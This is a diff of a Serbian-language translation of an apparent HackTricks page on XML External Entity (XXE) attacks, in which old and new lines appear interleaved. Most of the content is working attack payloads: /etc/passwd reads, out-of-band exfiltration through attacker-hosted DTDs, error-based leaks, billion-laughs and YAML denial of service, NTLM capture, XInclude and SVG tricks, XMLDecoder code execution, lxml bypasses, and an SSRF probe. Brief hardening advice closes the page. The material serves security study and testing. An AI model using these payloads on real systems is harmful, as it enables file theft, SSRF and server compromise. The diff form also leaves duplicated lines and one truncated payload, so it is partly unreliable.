<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -63,12 +63,12 @@ U ovom trećem slučaju primetite da deklarujemo `Element stockCheck` kao ANY
```
![](<../images/image (753).png>)
### Listing direktorijuma
### Directory listing
U **Java** aplikacijama može biti moguće **navesti sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo tražeći direktorijum umesto datoteke):
U **Java** aplikacijama može biti moguće **prikazati sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo tražeći direktorijum umesto datoteke):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -91,7 +91,7 @@ Koristeći **prethodno komentarisanu tehniku** možete naterati server da pristu
```
### "Blind" SSRF - Ekstrakcija podataka van kanala
**U ovoj prilici ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
**U ovom slučaju ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswigger lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
U datoj zloćudnoj DTD, sprovodi se niz koraka za ekstrakciju podataka:
@ -121,20 +121,20 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađena od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima spoljašnji DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zloćudnom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
### Greška zasnovana (Eksterni DTD)
### Greška zasnovana (Spoljašnji DTD)
**U ovom slučaju ćemo naterati server da učita zlonamerni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind)
**U ovom slučaju ćemo naterati server da učita zloćudni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind)
Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zlonamernog spoljnog Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake:
Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zloćudnog spoljašnjeg Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake:
1. Definisan je XML parametarski entitet pod imenom `file`, koji sadrži sadržaj datoteke `/etc/passwd`.
2. Definisan je XML parametarski entitet pod imenom `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet pod imenom `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime.
1. Definisan je XML parametarski entitet nazvan `file`, koji sadrži sadržaj datoteke `/etc/passwd`.
2. Definisan je XML parametarski entitet nazvan `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet nazvan `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime.
3. `eval` entitet se poziva, što dovodi do dinamičke deklaracije `error` entiteta.
4. Poziv `error` entiteta rezultira pokušajem učitavanja nepostojeće datoteke, proizvodeći poruku o grešci koja uključuje sadržaj datoteke `/etc/passwd` kao deo imena datoteke.
Zlonamerni eksterni DTD može biti pozvan sa sledećim XML:
Zloćudni spoljašnji DTD može biti pozvan sa sledećim XML:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -150,9 +150,9 @@ _**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entite
Šta je sa slepim XXE ranjivostima kada su **izvan-bend interakcije blokirane** (eksterne konekcije nisu dostupne)?
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz internog DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju otkrivajući sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju koja otkriva sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -168,8 +168,8 @@ Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/
Definisani koraci se izvršavaju ovim DTD-om:
- Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera.
- Dolazi do redefinicije za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi obuhvatila [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca akcija dovodi do emitovanja poruke o grešci koja je cilj exploita.
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
```xml
@ -205,7 +205,7 @@ U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Pored toga, ako imate **Docker sliku žrtvinog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
Pored toga, ako imate **Docker sliku žrtvinskog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -219,13 +219,13 @@ Testing 0 entities : []
```
### XXE putem Office Open XML parsera
Za detaljnije objašnjenje ovog napada, **pogledajte drugi deo** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Za detaljnije objašnjenje ovog napada, **pogledajte drugu sekciju** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati.
Kada je dokument raspakovan, XML fajl smešten u `./unzipped/word/document.xml` treba otvoriti i urediti u omiljenom tekst editoru (kao što je vim). XML treba modifikovati da uključuje željeni XXE payload, često počinjući sa HTTP zahtevom.
Kada je dokument raspakovan, XML fajl koji se nalazi na `./unzipped/word/document.xml` treba otvoriti i urediti u omiljenom tekst editoru (kao što je vim). XML treba modifikovati da uključuje željeni XXE payload, često počinjući sa HTTP zahtevom.
Modifikovane XML linije treba umetnuti između dva korenska XML objekta. Važno je zameniti URL sa URL-om koji se može pratiti za zahteve.
@ -251,7 +251,7 @@ Proces pristupanja datoteci unutar PKZIP arhive putem jar protokola uključuje n
4. Konkretna datoteka unutar arhive, `file.zip`, se čita.
5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dugo dok se služi arhivska datoteka. Alati dostupni u [ovoj biblioteci](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dok se služi arhivska datoteka. Alati dostupni na [ovoj repozitoriji](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -276,7 +276,7 @@ Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održav
]>
<data>&a4;</data>
```
#### Yaml napad
#### Yaml Napad
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
@ -292,7 +292,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
![](<../images/image (527).png>)
#### Dobijanje NTML
#### Dobijanje NTML-a
Na Windows hostovima je moguće dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a:
```bash
@ -310,9 +310,9 @@ Zatim možete pokušati da probijete hash koristeći hashcat
### XInclude
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje eksternih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje spoljašnjih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena, a putanja do datoteke za željeni eksterni entitet mora biti specificirana. Ispod je sažet primer kako se takav napad može formulisati:
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena, a putanja do datoteke za željeni spoljašnji entitet mora biti specificirana. Ispod je sažet primer kako se takav napad može formulisati:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -338,7 +338,7 @@ U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Tako da treba da imate pristup slici koju je SVG kreirao.**
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Dakle, morate biti u mogućnosti da pristupite slici koju je SVG kreirao.**
### **PDF - Učitavanje fajla**
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
Tada možete poslati sledeći zahtev, sa istim rezultatom:
Tada možda možete poslati sledeći zahtev, sa istim rezultatom:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -396,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8
</root>
</root>
```
Još jedan primer se može naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
Još jedan primer može se naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Obilaženje zaštita
@ -408,7 +408,7 @@ Ovo funkcioniše samo ako XML server prihvata `data://` protokol.
### UTF-7
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) za transformaciju u UTF-7.
Možete koristiti \[**"Encode Recipe**" of cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) za transformaciju u UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -523,7 +523,7 @@ Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje,
%foo;
%xxe;
```
Server odgovara greškom, što je važno jer odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu:
Server odgovara greškom, što važno odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -534,7 +534,7 @@ Da bi se sadržaj datoteke uključio u poruku o grešci, DTD datoteka se prilago
%foo;
%xxe;
```
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja fajla, jer se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći kako Out of Band tako i Error-Based tehnike za ekstrakciju osetljivih informacija.
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja datoteke, jer se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći kako Out of Band tako i Error-Based tehnike za ekstrakciju osetljivih informacija.
## RSS - XEE
@ -609,7 +609,7 @@ Korišćenje PHP base64 filtera
```
## Java XMLDecoder XEE to RCE
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metodi **readObject**, odmah će dobiti izvršavanje koda na serveru.
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru.
### Using Runtime().exec()
```xml
@ -712,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Ako parser prigovara zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x26;#x25;``%`) da biste odložili ekspanziju.
#### 2. Obilaženje lxml 5.4.0 ojačanja (libxml2 još uvek ranjiv)
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** još uvek omogućava njihovo ugrađivanje u *general* entitet. Trik je:
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** i dalje omogućava njihovo ugrađivanje u *general* entitet. Trik je:
1. Pročitati datoteku u parametarski entitet `%file`.
2. Deklarisati još jedan parametarski entitet koji gradi **general** entitet `c` čiji SYSTEM identifikator koristi *nepostojeći protokol* kao što je `meow://%file;`.
3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje punu URI uključujući sadržaj datoteke u poruci o grešci.
3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje pun URI uključujući sadržaj datoteke u poruci o grešci.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -763,17 +763,43 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Ako aplikacija mora interno podržavati DTD-ove, držite `disallow-doctype-decl` onemogućen, ali **uvek** ostavite dva `external-*-entities` svojstva postavljena na `false`. Ova kombinacija sprečava klasične napade na otkrivanje fajlova (`file:///etc/passwd`) kao i mrežne SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, itd.).
Ako aplikacija mora interno podržavati DTD-ove, držite `disallow-doctype-decl` onemogućen, ali **uvek** ostavite dva `external-*-entities` svojstva postavljena na `false`. Ova kombinacija sprečava klasične napade na otkrivanje datoteka (`file:///etc/passwd`) kao i mrežne SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, itd.).
Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *LocalS3* koristila je ranjivi konstruktor prikazan iznad. Neautentifikovani napadač mogao je da dostavi kreirani XML sadržaj na `CreateBucketConfiguration` krajnju tačku i da serveru omogući umetanje lokalnih fajlova (na primer `/etc/passwd`) u HTTP odgovor.
Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *LocalS3* koristila je ranjivi konstruktor prikazan iznad. Neautentifikovani napadač mogao je da dostavi kreirani XML sadržaj na `CreateBucketConfiguration` krajnju tačku i natera server da ugradi lokalne datoteke (na primer `/etc/passwd`) u HTTP odgovor.
## References
### XXE u JMF/Print Orchestration Services → SSRF
Neke platforme za štampu/workflow orkestraciju izlažu mrežno orijentisan JMF (Job Messaging Format) slušalac koji prihvata XML preko TCP-a. Ako osnovni parser prihvata `DOCTYPE` i rešava spoljne entitete, možete iskoristiti klasični XXE da naterate server da izvrši izlazne zahteve (SSRF) ili pristupi lokalnim resursima.
Ključne tačke primećene u praksi:
- Mrežni slušalac (npr., JMF klijent) na posvećenom portu (obično 4004 u Xerox FreeFlow Core).
- Java-bazirano XML parsiranje unutar jar-a (npr., `jmfclient.jar`) bez `disallow-doctype-decl` ili onemogućene rezolucije entiteta.
- Izvan-bend povratni pozivi pouzdano potvrđuju eksploataciju.
Minimalni JMF-stil SSRF probni alat (struktura varira po proizvodu, ali je DOCTYPE ono što je važno):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Napomene:
- Zamenite URL entiteta sa vašim saradnikom. Ako je SSRF moguć, server će ga rešiti prilikom parsiranja poruke.
- Ojačanja na koja treba obratiti pažnju: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- Čak i kada JMF port ne servira fajlove, SSRF se može povezati za internu recon ili da dođe do API-ja za upravljanje vezanih za localhost.
Reference za ovaj vektor su navedene na kraju stranice.
## Reference
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Ekstraktujte informacije putem HTTP koristeći vlastiti eksterni DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- Ekstraktujte informacije putem HTTP koristeći svoj eksterni DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
@ -782,5 +808,8 @@ Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *Loca
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}